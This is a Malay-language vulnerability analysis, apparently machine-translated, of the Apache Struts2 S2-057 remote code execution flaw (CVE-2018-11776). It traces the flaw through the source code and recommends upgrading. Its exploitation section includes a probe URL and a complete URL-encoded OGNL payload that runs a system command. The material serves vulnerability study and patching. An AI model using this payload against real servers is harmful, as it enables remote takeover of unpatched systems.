Cara melaksanakan analisis kelemahan pelaksanaan kod jauh Apache Struts2 S2-057

PHPz
Lepaskan: 2023-05-15 21:43:04
ke hadapan
1939 orang telah melayarinya

Kata Pengantar

Rangka kerja Apache Struts ialah projek sumber terbuka berdasarkan rangka kerja aplikasi Web Java Servlets, JavaBeans dan JavaServer Pages (JSP Struts adalah berdasarkan reka bentuk Model-). Corak View-Controller (MVC) boleh digunakan untuk membina aplikasi web yang kompleks. Ia membolehkan kami menguraikan kod logik perniagaan aplikasi, logik kawalan dan logik persembahan, menjadikannya lebih boleh digunakan semula dan diselenggara. Rangka kerja Struts adalah sebahagian daripada projek Jakarta dan diuruskan oleh Yayasan Perisian Apache.

Tianrongxin Alpha Lab akan membawakan kepada anda analisis kelemahan pelaksanaan kod jauh Apache Struts2 S2-057~

1 .mapper.alwaysSelectFullNamespace ditetapkan kepada benar, dan nilai ruang nama tab pakej dan tab param hasil hilang, atau kad bebas digunakan, ruang nama boleh dikawal dan akhirnya ruang nama akan dibawa ke dalam pernyataan OGNL untuk pelaksanaan . Ini mewujudkan kelemahan pelaksanaan kod jauh.

1. Versi sistem yang terjejas

Apache Struts 2.3 - Struts 2.3.34

Apache Struts 2.5 - Struts 2.5.16

Vulnerability No.

CVE-2018-11776

2. Persediaan persekitaran

1. -2.3.34-all.zip

2. Ubah suai fail konfigurasi struts-actionchaining.xml

Kerentanan ini mempunyai berbilang vektor serangan termasuk:

Tindakan ubah hala

Perantaian tindakan

Hasil pos balik

Mengambil kaedah pertama sebagai contoh, ubah suai kandungan fail konfigurasi sebagai:

如何进行Apache Struts2 S2-057远程代码执行漏洞分析
3. Butiran Kerentanan

Dalam kaedah parseNameAndNamespace kelas DefaultActionMapper.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Apabila alwaysSelectFullNamespace ditetapkan kepada benar, nilai ruang nama diperoleh daripada URL. URL boleh dikawal, jadi ruang nama juga boleh dikawal.

Selepas Tindakan dilaksanakan, atur cara akan memanggil kaedah execute() dalam kelas ServletActionRedirectResult untuk menghuraikan Keputusan ubah hala.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Pertama, apabila ruang nama kosong, panggil invocation.getProxy().getNamespace() untuk menetapkan nilai kepada ruang nama pembolehubah, dan kemudian hantar ruang nama pembolehubah ke dalam ActionMapping pembina.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Kemudian, ActionMapper.getUriFromActionMapping() menyusun semula nilai selepas ActionMapping, menjana rentetan URL (termasuk ruang nama) dan memberikannya kepada pembolehubah tmplocation.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Kemudian tmplocation dengan ruang nama dihantar ke kaedah setLocation().

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Kaedah ini memberikan nilai tmpLocation kepada pembolehubah lokasi dalam kelas StrutsResultSupport.

Kemudian, jejak kaedah super.execute().

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Teruskan jejak super.execute() dalam kelas ServletActionResult.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Dalam kaedah execute() dalam kelas StrutsResultSupport, pembolehubah lokasi (dengan ruang nama) yang baru diberikan dihantar ke kaedah conditionalParse().

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Akhir sekali, penghuraian OGNL ruang nama melalui TextParseUtil.translateVariables() membawa kepada kerentanan pelaksanaan kod jauh.

4. Eksploitasi Kerentanan

1. Akses alamat yang URLnya ialah /${(111+111)}/actionChain1.action.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析Akses mencetuskan ungkapan OGNL, url menjadi /222/register2.action dan kelemahan wujud.

2. Muatan:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d
Salin selepas log masuk

Muatan ini hanya terpakai pada versi siri 2.3.

如何进行Apache Struts2 S2-057远程代码执行漏洞分析5. Cadangan pembaikan

1. Tampalan rasmi

Pada masa ini, versi rasmi telah dikeluarkan untuk membetulkan kerentanan ini pengguna Sila tingkatkan kepada versi Apache Struts 2.3.35 atau Struts 2.5.17 secepat mungkin: https://struts.apache.org/download.cgi#struts2517.

2. Pembaikan manual

Ubah suai fail konfigurasi:

Betulkan nilai ruang nama teg pakej dan teg param hasil, dan larang penggunaan kad bebas.

Atas ialah kandungan terperinci Cara melaksanakan analisis kelemahan pelaksanaan kod jauh Apache Struts2 S2-057. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Label berkaitan:
sumber:yisu.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan
Tentang kita Penafian Sitemap
Laman web PHP Cina:Latihan PHP dalam talian kebajikan awam,Bantu pelajar PHP berkembang dengan cepat!